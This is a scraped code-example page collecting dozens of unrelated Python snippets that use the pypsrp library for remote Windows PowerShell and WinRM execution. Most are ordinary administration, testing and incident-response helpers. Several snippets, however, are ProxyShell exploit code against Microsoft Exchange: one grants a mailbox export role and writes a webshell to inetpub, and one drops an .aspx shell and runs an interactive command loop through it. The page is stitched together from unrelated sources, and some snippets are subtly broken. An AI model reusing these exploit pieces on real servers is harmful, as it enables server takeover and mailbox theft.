Ejemplo n.º 1
0
def get_winRS(config):

    errors = 0
    results = []
    try:
        ssl = config['protocol'].split('/')[1]
    except Exception as e:
        ssl = ""
    for member in config['members'].split(','):
        res = ""
        try:
            if ssl:
                client = WSMan(member,
                               ssl=True,
                               auth="ntlm",
                               cert_validation=False,
                               connection_timeout=3,
                               username=config['user'],
                               password=config['password'])
            else:
                client = WSMan(member,
                               ssl=False,
                               auth="ntlm",
                               cert_validation=False,
                               connection_timeout=3,
                               username=config['user'],
                               password=config['password'])

            with WinRS(client) as shell:
                process = Process(shell, REMCMD)
                print(process)
                stdout, stderr, _rc = process.invoke()
            if "decode" in dir(stdout):
                res = stdout.decode()
                err = stderr.decode()
            else:
                res = stdout
                err = stderr
            if err:
                print("get_winRS: {} -> err: {}".format(config, err),
                      file=sys.stderr)
                errors += 1
        except Exception as e:
            print("get_winRS: Connect to {} failed: {}".format(
                member, e.args[0]),
                  file=sys.stderr)
            errors += 1

        results.append(res)

    return errors, config, results
Ejemplo n.º 2
0
def wsman_conn(request, monkeypatch):
    test_params = request.param
    if not isinstance(test_params, list) or len(test_params) != 2:
        raise Exception(
            "Cannot run winrm_transport fixture without the allow real and test name set"
        )

    allow_real = test_params[0]
    test_name = test_params[1]

    # these need to be set to run against a proper server
    username = os.environ.get("PYPSRP_USERNAME", None)
    password = os.environ.get("PYPSRP_PASSWORD", None)
    server = os.environ.get("PYPSRP_SERVER", None)

    # these are optional vars that can further control the transport setup
    auth = os.environ.get("PYPSRP_AUTH", "negotiate")
    port = int(os.environ.get("PYPSRP_PORT", "5986"))
    ssl = port != 5985

    if allow_real and username is not None and password is not None and server is not None:
        wsman = WSMan(server,
                      port=port,
                      username=username,
                      password=password,
                      ssl=ssl,
                      auth=auth,
                      cert_validation=False)
    else:
        # Mock out UUID's so they are not a problem when comparing messages
        def mockuuid():
            return uuid.UUID("00000000-0000-0000-0000-000000000000")

        monkeypatch.setattr(uuid, "uuid4", mockuuid)
        transport = TransportFake(test_name, "fakehost", port, "username",
                                  "password", ssl, "wsman", auth)
        wsman = WSMan("")
        wsman.transport = transport

    with wsman:
        yield wsman

    # used as an easy way to be results for a test, requires the _test_messages
    # to be uncommented in pypsrp/wsman.py
    test_messages = getattr(wsman.transport, "_test_messages", None)
    if test_messages is not None:
        yaml_text = yaml.dump({"messages": test_messages},
                              default_flow_style=False,
                              width=9999)
        print(yaml_text)
Ejemplo n.º 3
0
    async def exec_command_prompt(self, hosts, commands, username, password, transport, server_cert_validation,
                                  message_encryption):
        """
        Execute a list of remote commands on a list of hosts.
        :param hosts: List of host ips to run command on
        :param commands: array of commands in which you want to run on every host
        :param username: username of the machine you wish to run command on
        :param password: password for the machine you wish to run command on
        :param transport: method of transportation
        :param server_cert_validation: whether or not to verify certificates
        :param message_encryption: When you should encrypt messages

        :return: dict of results with hosts as keys and list of outputs for each specified hosts
        """

        results = {}

        for host in hosts:
            results[host] = ""
            try:
                wsman = WSMan(host, ssl=server_cert_validation, auth=transport, encryption=message_encryption,
                              username=username, password=password)

                with WinRS(wsman) as shell:
                    for command in commands:
                        process = Process(shell, command)
                        process.invoke()
                        results[host] = {"stdout": process.stdout.decode(), "stderr": process.stderr.decode()}
                        process.signal(SignalCode.CTRL_C)

            except Exception as e:
                results[host] = {"stdout": "", "stderr": f"{e}"}

        return results
    def invoke_script(self, script, expect_json=False):
        wsman = WSMan(self.host,
                      auth="kerberos",
                      cert_validation=False,
                      ssl=True)
        with RunspacePool(wsman,
                          configuration_name=self.configuration_name) as pool:
            ps = PowerShell(pool)
            ps.add_script(script)
            ps.invoke()
            if ps.had_errors:
                error_messages = []
                for i in ps.streams.error:
                    error_messages.append(i.message)
                raise RuntimeError(error_messages)
            else:
                if expect_json:
                    output = [json.loads(x) for x in ps.output]
                else:
                    output = PSRP_Wrapper._convertto_json_compatible(ps.output)

                stream_names = [
                    "debug", "error", "information", "verbose", "warning"
                ]
                streams = dict()
                for i in stream_names:
                    streams[i] = []
                    for j in getattr(ps.streams, i):
                        streams[i].append(j.message)
                return {"output": output, "streams": streams}
Ejemplo n.º 5
0
    async def modify_existing_service(self, hosts, username, password,
                                      transport, server_cert_validation,
                                      message_encryption):
        """
        Execute a list of remote commands on a list of hosts.
        :param hosts: List of host ips to run command on
        :param username: username of the machine you wish to run command on
        :param password: password for the machine you wish to run command on
        :param transport: method of transportation
        :param server_cert_validation: whether or not to verify certificates
        :param message_encryption: When you should encrypt messages

        :return: dict of results with hosts as keys and list of outputs for each specified hosts
        """
        results = {}

        for host in hosts:
            self.logger.info(f"Executing on {host}")
            results[host] = ""

            try:
                wsman = WSMan(host,
                              ssl=server_cert_validation,
                              auth=transport,
                              encryption=message_encryption,
                              username=username,
                              password=password)

                with RunspacePool(wsman) as pool:
                    # This script searches event logs for successful logons,
                    # Logon attmepts, and failed logon attempts

                    script = "Get-ChildItem ‘HKLM:\SYSTEM\CurrentControlSet\Services' -Recurse"

                    ps = PS(pool)
                    ps.add_script(script)
                    ps.invoke()
                    this_result = []
                    for line in ps.output:
                        this_result.append({
                            "name":
                            str(line),
                            "adapted_properties":
                            json.loads(
                                json.dumps(line.adapted_properties,
                                           cls=ObjectEncoder)),
                            "extended_properties":
                            json.loads(
                                json.dumps(line.extended_properties,
                                           cls=ObjectEncoder))
                        })
                    if ps.had_errors:
                        results[host] = {"stdout": "", "stderr": this_result}
                    else:
                        results[host] = {"stdout": this_result, "stderr": ""}

            except Exception as e:
                results[host] = {"stdout": "", "stderr": f"{e}"}

        return results
Ejemplo n.º 6
0
def exploit_stage4(target, auth_b64, alias_name, subject, fShell):
    logger.debug("[Stage 4] Dealing with WSMV")
    wsman = WSMan(server=target, port=443,
    path='/autodiscover/[email protected]/Powershell?X-Rps-CAT=' + auth_b64 +'&Email=autodiscover/autodiscover.json%[email protected]', 
    ssl="true", 
    cert_validation=False)
    logger.debug("[Stage 4] Dealing with PSRP")
    with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool:
        logger.debug("[Stage 4] Assign Management Role")
        ps = PowerShell(pool)
        #ps.add_cmdlet("Get-User")
        ps.add_cmdlet("New-ManagementRoleAssignment")
        ps.add_parameter("Role", "Mailbox Import Export")
        ps.add_parameter("SecurityGroup", "Organization Management")
        output = ps.invoke()
        
    with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool:
        
        logger.debug("[Stage 4] Exporting MailBox as Webshell")
        ps = PowerShell(pool)
        ps.add_cmdlet("New-MailboxExportRequest")
        ps.add_parameter("Mailbox", alias_name)
        ps.add_parameter("Name", subject)
        ps.add_parameter("ContentFilter", "Subject -eq '%s'" % (subject))
        ps.add_parameter("FilePath", "\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\%s" % fShell)
        output = ps.invoke()
        logger.debug("[Stage 4] Webshell Path: c:\\inetpub\\wwwroot\\aspnet_client\\%s" % fShell)

    with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool:
        
        logger.debug("[Stage 4] Cleaning Notification")
        ps = PowerShell(pool)
        ps.add_script("Get-MailboxExportRequest | Remove-MailboxExportRequest -Confirm:$false")
        output = ps.invoke()
Ejemplo n.º 7
0
def shell(command, port):
    if command.lower() in ['exit', 'quit']:
        exit(0)
    wsman = WSMan("127.0.0.1", username='', password='', ssl=False, port=port, auth='basic', encryption='never')
    with RunspacePool(wsman) as pool:
        ps = PowerShell(pool)
        ps.add_script(command)
        output = ps.invoke()
Ejemplo n.º 8
0
    async def exec_powershell_script_from_file(self, hosts, shell_type,
                                               local_file_name, username,
                                               password, transport,
                                               server_cert_validation,
                                               message_encryption):
        """
        Execute a list of remote commands on a list of hosts.
        :param hosts: List of host ips to run command on
        :param shell_type: The type of shell you wish to run (i.e. "powershell")
        :param local_file_name: file name to run specified script from
        :param username: username of the machine you wish to run command on
        :param password: password for the machine you wish to run command on
        :param transport: method of transportation
        :param server_cert_validation: whether or not to verify certificates
        :param message_encryption: When you should encrypt messages

        :return: dict of results with hosts as keys and list of outputs for each specified hosts
        """
        results = {}
        curr_dir = os.getcwd()
        temp_dir = os.path.join(curr_dir, r'scripts')
        os.chdir(temp_dir)
        curr_dir = os.getcwd()
        local_file_path = os.path.join(curr_dir, local_file_name)

        for host in hosts:
            self.logger.info(f"Executing on {host}")
            results[host] = ""

            try:
                wsman = WSMan(host,
                              ssl=server_cert_validation,
                              auth=transport,
                              encryption=message_encryption,
                              username=username,
                              password=password)

                with WinRS(wsman) as shell:
                    # for command in commands:
                    script = open(local_file_path, "r").read()

                    process = Process(shell, shell_type, script)
                    process.begin_invoke(
                    )  # start the invocation and return immediately
                    process.poll_invoke()  # update the output stream
                    process.end_invoke(
                    )  # finally wait until the process is finished
                    results[host] = {
                        "stdout": process.stdout.decode(),
                        "stderr": process.stderr.decode()
                    }
                    process.signal(SignalCode.CTRL_C)

            except Exception as e:
                results[host] = {"stdout": "", "stderr": f"{e}"}

        return results
Ejemplo n.º 9
0
    def __init__(self, dns_svr, user, password, csv_dns_dm):
        self.dns_svr = dns_svr
        self.user = user
        self.password = password
        self.csv_dns_fw_dm = csv_dns_dm[0]
        self.csv_dns_rv_dm = csv_dns_dm[1]

        # WSman connection used to run powershell cmds on windows servers
        self.wsman_conn = WSMan(self.dns_svr, username=self.user, password=self.password, ssl=False)
        self.client_conn = Client(self.dns_svr, username=self.user, password=self.password, ssl=False)
Ejemplo n.º 10
0
async def start_vm(info: VMInfo):
    """
    Invoke command to start virtual machine with given VM ID
    :param info: VM ID of virtual machine to be started
    """
    with RunspacePool(connection=WSMan(**connection_settings)) as pool:
        ps = PowerShell(pool)
        ps.add_script("$server = Get-SCVMMServer -ComputerName localhost"
                      ).add_script("Get-SCVirtualMachine -VMMServer $server |"
                                   " ? {$_.VMId -eq \"" + info.vmid + "\" } |"
                                   " Start-SCVirtualMachine").begin_invoke()
Ejemplo n.º 11
0
def main(host, username, password, command):
    wsman = WSMan(host,
                  username=username,
                  password=password,
                  cert_validation=False)

    with RunspacePool(wsman) as pool:
        ps = PowerShell(pool)
        ps.add_cmdlet(command)
        ps.invoke()

        print(ps.output[0])
Ejemplo n.º 12
0
    async def exec_powershell_script_from_file(self, hosts, shell_type, local_file_name, username, password, transport,
                                               server_cert_validation,
                                               message_encryption):
        """
        Execute a list of remote commands on a list of hosts.
        :param hosts: List of host ips to run command on
        :param shell_type: The type of shell you wish to run (i.e. "powershell")
        :param local_file_name: file name to run specified script from
        :param username: username of the machine you wish to run command on
        :param password: password for the machine you wish to run command on
        :param transport: method of transportation
        :param server_cert_validation: whether or not to verify certificates
        :param message_encryption: When you should encrypt messages

        :return: dict of results with hosts as keys and list of outputs for each specified hosts
        """
        results = {}

        for host in hosts:
            self.logger.info(f"Executing on {host}")
            results[host] = ""

            try:
                wsman = WSMan(host, ssl=server_cert_validation, auth=transport, encryption=message_encryption,
                              username=username, password=password)

                with RunspacePool(wsman) as pool:
                    with open(local_file_name, "r") as f:
                        script = f.read()
                    ps = PS(pool)
                    ps.add_script(script)
                    ps.invoke()
                    this_result = []
                    for line in ps.output:
                        if type(line) is str:
                            this_result.append(line)
                        else:
                            this_result.append({
                                "types": line.types,
                                "adapted_properties": json.loads(json.dumps(line.adapted_properties, cls=ObjectEncoder)),
                                "extended_properties": json.loads(json.dumps(line.extended_properties, cls=ObjectEncoder))
                            })
                    if ps.had_errors:
                        results[host] = {"stdout": "", "stderr": this_result}
                    else:
                        results[host] = {"stdout": this_result, "stderr": ""}

            except Exception as e:
                results[host] = {"stdout": "", "stderr": f"{e}"}

        return results
Ejemplo n.º 13
0
    async def account_manipulation(self, hosts, username, password, transport,
                                               server_cert_validation,
                                               message_encryption):
        """
        Execute a list of remote commands on a list of hosts.
        :param hosts: List of host ips to run command on
        :param shell_type: The type of shell you wish to run (i.e. "powershell")
        :param local_file_name: file name to run specified script from
        :param username: username of the machine you wish to run command on
        :param password: password for the machine you wish to run command on
        :param transport: method of transportation
        :param server_cert_validation: whether or not to verify certificates
        :param message_encryption: When you should encrypt messages

        :return: dict of results with hosts as keys and list of outputs for each specified hosts
        """
        results = {}

        for host in hosts:
            self.logger.info(f"Executing on {host}")
            results[host] = ""

            try:
                wsman = WSMan(host, ssl=server_cert_validation, auth=transport, encryption=message_encryption,
                              username=username, password=password)

                with RunspacePool(wsman) as pool:
                    # This script returns events regarding account objects being changed
                    # as well as account names being changed

                    script = "Get-WinEvent -LogName security | Where-Object {$_.ID -eq 4738 -or $_.ID -eq 4781}"

                    ps = PS(pool)
                    ps.add_script(script)
                    ps.invoke()
                    this_result = []
                    for line in ps.output:
                        this_result.append({
                            "name": str(line),
                            "adapted_properties": json.loads(json.dumps(line.adapted_properties, cls=ObjectEncoder)),
                            "extended_properties": json.loads(json.dumps(line.extended_properties, cls=ObjectEncoder))
                        })
                    if ps.had_errors:
                        results[host] = {"stdout": "", "stderr": this_result}
                    else:
                        results[host] = {"stdout": this_result, "stderr": ""}

            except Exception as e:
                results[host] = {"stdout": "", "stderr": f"{e}"}

        return results
Ejemplo n.º 14
0
    async def scheduled_tasks(self, hosts, username, password, transport, server_cert_validation,
                                               message_encryption):
        """
        Execute a list of remote commands on a list of hosts.
        :param hosts: List of host ips to run command on
        :param username: username of the machine you wish to run command on
        :param password: password for the machine you wish to run command on
        :param transport: method of transportation
        :param server_cert_validation: whether or not to verify certificates
        :param message_encryption: When you should encrypt messages

        :return: dict of results with hosts as keys and list of outputs for each specified hosts
        """
        results = {}

        for host in hosts:
            self.logger.info(f"Executing on {host}")
            results[host] = ""

            try:
                wsman = WSMan(host, ssl=server_cert_validation, auth=transport, encryption=message_encryption,
                              username=username, password=password)

                with RunspacePool(wsman) as pool:

                    script = """
                    wevtutil sl  Microsoft-Windows-TaskScheduler/Operational  /e:true
                    
                    Get-WinEvent -LogName  'Microsoft-Windows-TaskScheduler/Operational' | Where-Object  $_.Id -eq 106 
                    -or ($_.Id -eq 140) -or $_.Id -eq 141  } | Format-Table TimeCreated,Id,LevelDisplayName,Message
                    """

                    ps = PS(pool)
                    ps.add_script(script)
                    ps.invoke()
                    this_result = []
                    for line in ps.output:
                        this_result.append({
                            "name": str(line),
                            "adapted_properties": json.loads(json.dumps(line.adapted_properties, cls=ObjectEncoder)),
                            "extended_properties": json.loads(json.dumps(line.extended_properties, cls=ObjectEncoder))
                        })
                    if ps.had_errors:
                        results[host] = {"stdout": "", "stderr": this_result}
                    else:
                        results[host] = {"stdout": this_result, "stderr": ""}

            except Exception as e:
                results[host] = {"stdout": "", "stderr": f"{e}"}

        return results
Ejemplo n.º 15
0
 def __init__(self):
     # self.wsman = WSMan(server="", port=443, path="/powershell/",ssl=True,username="", password="",auth="basic")
     self.wsman = WSMan(server=getskey()['exserver'],
                        port=80,
                        path="/powershell/",
                        ssl=False,
                        username=getskey()['exdomain'] + "\\" +
                        getskey()['exuser'],
                        password=encrypt_and_decode().decrypted_text(
                            getskey()['expassword']),
                        auth="basic",
                        encryption='never')
     self.msg, self.message, self.isSuccess, self.code, self.count = str(
     ), list(), False, 0, 0
Ejemplo n.º 16
0
def shell(command, port):

    # From: https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/
    if command.lower() in ['exit', 'quit']:
        exit()

    wsman = WSMan("127.0.0.1", username='', password='', ssl=False, port=port, auth='basic', encryption='never')
    with RunspacePool(wsman) as pool:
        ps = PowerShell(pool)
        ps.add_script(command)
        output = ps.invoke()

    print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
    print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))
Ejemplo n.º 17
0
    async def exec_powershell_script(self, hosts, shell_type, arguments,
                                     username, password, transport,
                                     server_cert_validation,
                                     message_encryption):
        """
        Execute a list of remote commands on a list of hosts.
        :param hosts: List of host ips to run command on
        :param shell_type: The type of shell you wish to run (i.e. "powershell")
        :param commands: array of commands in which you want to run on every host
        :param username: username of the machine you wish to run command on
        :param password: password for the machine you wish to run command on
        :param transport: method of transportation
        :param server_cert_validation: whether or not to verify certificates
        :param message_encryption: When you should encrypt messages

        :return: dict of results with hosts as keys and list of outputs for each specified hosts
        """
        results = {}

        for host in hosts:
            self.logger.info(f"Executing on {host}")
            results[host] = ""

            try:
                wsman = WSMan(host,
                              ssl=server_cert_validation,
                              auth=transport,
                              encryption=message_encryption,
                              username=username,
                              password=password)

                with WinRS(wsman) as shell:
                    for arg in arguments:
                        process = Process(shell, shell_type, [arg])
                        process.begin_invoke(
                        )  # start the invocation and return immediately
                        process.poll_invoke()  # update the output stream
                        process.end_invoke(
                        )  # finally wait until the process is finished
                        results[host] = {
                            "stdout": process.stdout.decode(),
                            "stderr": process.stderr.decode()
                        }
                        process.signal(SignalCode.CTRL_C)

            except Exception as e:
                results[host] = {"stdout": "", "stderr": f"{e}"}

        return results
Ejemplo n.º 18
0
    def test_pshost_methods(self):
        wsman = WSMan("server")
        runspace = RunspacePool(wsman)
        host = PSHost(CultureInfo(), CultureInfo(), True, "name", None, None,
                      "1.0")

        assert host.GetName(None, None) == "name"
        actual_version = host.GetVersion(runspace, None)
        assert actual_version.text == "1.0"
        assert actual_version.tag == "Version"
        assert isinstance(host.GetInstanceId(None, None), uuid.UUID)
        assert isinstance(host.GetCurrentCulture(None, None), CultureInfo)
        assert isinstance(host.GetCurrentUICulture(None, None), CultureInfo)
        host.NotifyBeginApplication(None, None)
        host.NotifyEndApplication(None, None)
Ejemplo n.º 19
0
    def __enter__(self):
        conn = self.get_connection(self.conn_id)

        self.log.info("Establishing WinRM connection %s to host: %s",
                      self.conn_id, conn.host)
        self._client = WSMan(
            conn.host,
            ssl=True,
            auth="ntlm",
            encryption="never",
            username=conn.login,
            password=conn.password,
            cert_validation=False,
        )
        self._client.__enter__()
        return self
Ejemplo n.º 20
0
def exservertest(**kwargs):
    try:
        wsman = WSMan(server=kwargs['exip'], port=80, path="/powershell/",ssl=False,username=kwargs['domain'] + "\\" + kwargs['exaccount'] , password=kwargs['expassword'],auth="basic",encryption='never')
        with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool:
            ps = PowerShell(pool).add_cmdlet('Get-ExchangeServer')
            output = ps.invoke()
            if not ps.had_errors and not ps.streams.error:
                data = {'isSuccess':True}
            else:
                data = {'isSuccess':False}
        # allurl = 'http://'+getskey()['iisserver']+':'+getskey()['iisport']+'//api/ad/testexlink'
        # u = requests.get(allurl,params=kwargs)
        # data = u.json()
        return  data
    except Exception as e:
        return  False
Ejemplo n.º 21
0
    def get_conn(self) -> RunspacePool:
        """
        Returns a runspace pool.

        The returned object must be used as a context manager.
        """
        conn = self.get_connection(self.conn_id)
        self.log.info("Establishing WinRM connection %s to host: %s",
                      self.conn_id, conn.host)

        extra = conn.extra_dejson.copy()

        def apply_extra(d, keys):
            d = d.copy()
            for key in keys:
                value = extra.pop(key, None)
                if value is not None:
                    d[key] = value
            return d

        wsman_options = apply_extra(
            self._wsman_options,
            (
                "auth",
                "cert_validation",
                "connection_timeout",
                "locale",
                "read_timeout",
                "reconnection_retries",
                "reconnection_backoff",
                "ssl",
            ),
        )
        wsman = WSMan(conn.host,
                      username=conn.login,
                      password=conn.password,
                      **wsman_options)
        runspace_options = apply_extra(self._runspace_options,
                                       ("configuration_name", ))

        if extra:
            raise AirflowException(
                f"Unexpected extra configuration keys: {', '.join(sorted(extra))}"
            )
        pool = RunspacePool(wsman, **runspace_options)
        self._wsman_ref[pool] = wsman
        return pool
Ejemplo n.º 22
0
    def _connect(self):
        if not HAS_PYPSRP:
            raise AnsibleError("pypsrp or dependencies are not installed: %s"
                               % to_native(PYPSRP_IMP_ERR))
        super(Connection, self)._connect()
        self._build_kwargs()
        display.vvv("ESTABLISH PSRP CONNECTION FOR USER: %s ON PORT %s TO %s" %
                    (self._psrp_user, self._psrp_port, self._psrp_host),
                    host=self._psrp_host)

        if not self.runspace:
            connection = WSMan(**self._psrp_conn_kwargs)

            # create our pseudo host to capture the exit code and host output
            host_ui = PSHostUserInterface()
            self.host = PSHost(None, None, False, "Ansible PSRP Host", None,
                               host_ui, None)

            self.runspace = RunspacePool(
                connection, host=self.host,
                configuration_name=self._psrp_configuration_name
            )
            display.vvvvv(
                "PSRP OPEN RUNSPACE: auth=%s configuration=%s endpoint=%s" %
                (self._psrp_auth, self._psrp_configuration_name,
                 connection.transport.endpoint), host=self._psrp_host
            )
            try:
                self.runspace.open()
            except AuthenticationError as e:
                raise AnsibleConnectionFailure("failed to authenticate with "
                                               "the server: %s" % to_native(e))
            except WinRMError as e:
                raise AnsibleConnectionFailure(
                    "psrp connection failure during runspace open: %s"
                    % to_native(e)
                )
            except (ConnectionError, ConnectTimeout) as e:
                raise AnsibleConnectionFailure(
                    "Failed to connect to the host via PSRP: %s"
                    % to_native(e)
                )

            self._connected = True
            self._last_pipeline = None
        return self
Ejemplo n.º 23
0
    async def exec_command_prompt_from_file(self, hosts, local_file_name,
                                            username, password, transport,
                                            server_cert_validation,
                                            message_encryption):
        """
        Execute a list of remote commands on a list of hosts.
        :param hosts: List of host ips to run command on
        :param local_file_name: file name to run specified script from
        :param username: username of the machine you wish to run command on
        :param password: password for the machine you wish to run command on
        :param transport: method of transportation
        :param server_cert_validation: whether or not to verify certificates
        :param message_encryption: When you should encrypt messages

        :return: dict of results with hosts as keys and list of outputs for each specified hosts
        """

        results = {}

        for host in hosts:
            results[host] = ""
            try:
                wsman = WSMan(host,
                              ssl=server_cert_validation,
                              auth=transport,
                              encryption=message_encryption,
                              username=username,
                              password=password)

                with WinRS(wsman) as shell:
                    with open(local_file_name, "r") as f:
                        script = f.read()
                    process = Process(shell, script)
                    process.invoke()
                    results[host] = {
                        "stdout": process.stdout.decode(),
                        "stderr": process.stderr.decode()
                    }
                    process.signal(SignalCode.CTRL_C)

                    self.logger.info(f"Done executing on {host}")
            except Exception as e:
                results[host] = {"stdout": "", "stderr": f"{e}"}

        return results
Ejemplo n.º 24
0
    def __init__(self, server, **kwargs):
        """
        Creates a client object used to do the following
            spawn new cmd command/process
            spawn new PowerShell Runspace Pool/Pipeline
            copy a file from localhost to the remote Windows host
            fetch a file from the remote Windows host to localhost

        This is just an easy to use layer on top of the objects WinRS and
        RunspacePool/PowerShell. It trades flexibility in favour of simplicity.

        If your use case needs some of that flexibility you can use these
        functions as a reference implementation for your own functions.

        :param server: The server/host to connect to
        :param kwargs: The various WSMan args to control the transport
            mechanism, see pypsrp.wsman.WSMan for these args
        """
        self.wsman = WSMan(server, **kwargs)
Ejemplo n.º 25
0
async def list_vms(domain: str, username: str):
    """
    Returns a list of available virtual machines for given user
    :param domain: NTDOMAIN of the user
    :param username: username of the user
    :return: list of dicts with virtual machines data
    """
    domain = domain.upper()
    username = username.lower()

    if LIST_SCRIPT is None:
        return Response(status_code=500,
                        content="Server error: script not found.")

    with RunspacePool(connection=WSMan(**connection_settings)) as lpool:
        ps = PowerShell(lpool)
        ps.add_script(
            script=LIST_SCRIPT).add_argument(domain).add_argument(username)
        try:
            psresult = ps.invoke()
        except ReadTimeout:
            return Response(status_code=504,
                            content="SCVMM is not available now.")

    if len(psresult) == 0 and ps.had_errors:
        return Response(status_code=500,
                        content="SCVMM-API internal error occured.")

    if psresult:
        logging.info(
            f"Data for {domain}\\{username} returned, length: {len(psresult)}")

    return [
        VM(Name=x.extended_properties.get("Name", "-"),
           ID=x.extended_properties.get("VMId", "-"),
           VirtualMachineState=x.extended_properties.get(
               'VirtualMachineState', "-"),
           MostRecentTask=x.extended_properties.get('MostRecentTask', "-"),
           MostRecentTaskUIState=x.extended_properties.get(
               'MostRecentTaskUIState', "-"),
           VMHost=x.extended_properties.get('VMHost', "-")) for x in psresult
    ]
Ejemplo n.º 26
0
def check_creds(host, username, password, domain):
    has_access = False
    try:
        username = '******' % (domain, username)
        wsman = WSMan(host,
                      username=username,
                      password=password,
                      ssl=False,
                      auth='ntlm')
        with RunspacePool(wsman) as pool:
            ps = PowerShell(pool)
            ps.add_cmdlet('Invoke-Expression')\
                .add_parameter('Command', 'whoami')
            ps.begin_invoke()
            while ps.output is None or ps.output == '':
                ps.poll_invoke()
            ps.end_invoke()
            if len(ps.output) > 0:
                has_access = True
    except:
        has_access = False
    return has_access
Ejemplo n.º 27
0
    async def get_procs_n_modules_kansa(self, hosts, username, password,
                                        transport, server_cert_validation,
                                        message_encryption):
        """
        Execute a list of remote commands on a list of hosts.
        :param hosts: List of host ips to run command on
        :param shell_type: The type of shell you wish to rsun (i.e. "powershell")
        :param local_file_name: file name to run specified script from
        :param username: username of the machine you wish to run command on
        :param password: password for the machine you wish to run command on
        :param transport: method of transportation
        :param server_cert_validation: whether or not to verify certificates
        :param message_encryption: When you should encrypt messages

        :return: dict of results with hosts as keys and list of outputs for each specified hosts
        """
        results = {}

        for host in hosts:
            self.logger.info(f"Executing on {host}")
            results[host] = ""

            try:
                wsman = WSMan(host,
                              ssl=server_cert_validation,
                              auth=transport,
                              encryption=message_encryption,
                              username=username,
                              password=password)

                results[host] = await self.run_script(
                    wsman,
                    "scripts/Kansa/Modules/Process/Get-ProcsNModules.ps1")

            except Exception as e:
                results[host] = {"stdout": "", "stderr": f"{e}"}

        return results
Ejemplo n.º 28
0
import json
from subprocess import Popen, PIPE
from pypsrp.powershell import PowerShell, RunspacePool
from pypsrp.wsman import WSMan
from SQLDBAToolsInventory_EnvironmentSettings import powershellbaseservername, proxyusername, proxypassword

# creates a https connection with explicit kerberos auth and implicit credentials
wsman = WSMan(powershellbaseservername, auth="kerberos", cert_validation=False)

pool = RunspacePool(wsman)
ps = PowerShell(pool)

script = '''
$psversiontable
'''
ps.add_command(script)
ps.invoke(["string", 1])
print(ps.output)
print(ps.streams.debug)


import json
from subprocess import Popen, PIPE
#servername = "tul1dbapmtdb1"
servername = "tul1cipedb2"
ps_cmdlet = """
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope Process -Force;
Import-Module SQLDBATools -DisableNameChecking;
$global:PrintUserFriendlyMessage = $false;
Get-ServerInfo {0} | ConvertTo-Json | Write-Output;
""".format(servername)
Ejemplo n.º 29
0
def arg_check():
    if len(sys.argv) < 2:
        print('Warning: Need to provide ip for windows instance.')
        sys.exit(1)


if __name__ == '__main__':
    arg_check()

    server = sys.argv[1]
    ps = sys.argv[2]

    # creates a http connection with no encryption and basic auth
    wsman = WSMan(server,
                  ssl=False,
                  auth="basic",
                  encryption="never",
                  username="******",
                  password="******")

    with WinRS(wsman) as shell:
        # execute a process with arguments in the background
        process = Process(shell, ps)
        process.begin_invoke()  # start the invocation and return immediately
        process.poll_invoke()  # update the output stream
        process.end_invoke()  # finally wait until the process is finished
        process.signal(SignalCode.CTRL_C)
        print('stdout', process.stdout)
        print('stderr', process.stderr)
        print('rc', process.rc)
Ejemplo n.º 30
0
def shell(command, port, proxyshell):

    # From: https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/
    if command.lower() in ['exit', 'quit']:
        exit()

    wsman = WSMan("127.0.0.1", username='', password='', ssl=False, port=port, auth='basic', encryption='never')
    with RunspacePool(wsman, configuration_name='Microsoft.Exchange') as pool:
        

        if command.lower().strip() == 'dropshell':
            drop_shell(proxyshell)

            ps = PowerShell(pool)
            ps.add_cmdlet('New-ManagementRoleAssignment').add_parameter('Role', 'Mailbox Import Export').add_parameter('User', proxyshell.email)
            output = ps.invoke()
            print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
            print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))

            ps = PowerShell(pool)
            ps.add_cmdlet(
                'New-MailboxExportRequest'
            ).add_parameter(
                'Mailbox', proxyshell.email
            ).add_parameter(
                'FilePath', f'\\\\localhost\\c$\\inetpub\\wwwroot\\aspnet_client\\{proxyshell.rand_subj}.aspx'
            ).add_parameter(
                'IncludeFolders', '#Drafts#'
            ).add_parameter(
                'ContentFilter', f'Subject -eq \'{proxyshell.rand_subj}\''
            )
            output = ps.invoke()

            print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
            print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))

            shell_url = f'{proxyshell.exchange_url}/aspnet_client/{proxyshell.rand_subj}.aspx'
            print(f'Shell URL: {shell_url}')
            for i in range(10):
                print(f'Testing shell {i}')
                r = requests.get(shell_url, verify=proxyshell.session.verify)
                if r.status_code == 200:
                    delimit = rand_string()
                    
                    while True:
                        cmd = input('Shell> ')
                        if cmd.lower() in ['exit', 'quit']:
                            return

                        exec_code = f'Response.Write("{delimit}" + new ActiveXObject("WScript.Shell").Exec("cmd.exe /c {cmd}").StdOut.ReadAll() + "{delimit}");'
                        r = requests.get(
                            shell_url,
                            params={
                                'exec_code':exec_code
                            },
                            verify=proxyshell.session.verify
                        )
                        output = r.content.split(delimit.encode())[1]
                        print(output.decode())

                time.sleep(5)
                i += 1

            print('Shell drop failed :(')
            return

        else:
            ps = PowerShell(pool)
            ps.add_script(command)
            output = ps.invoke()

    print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
    print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))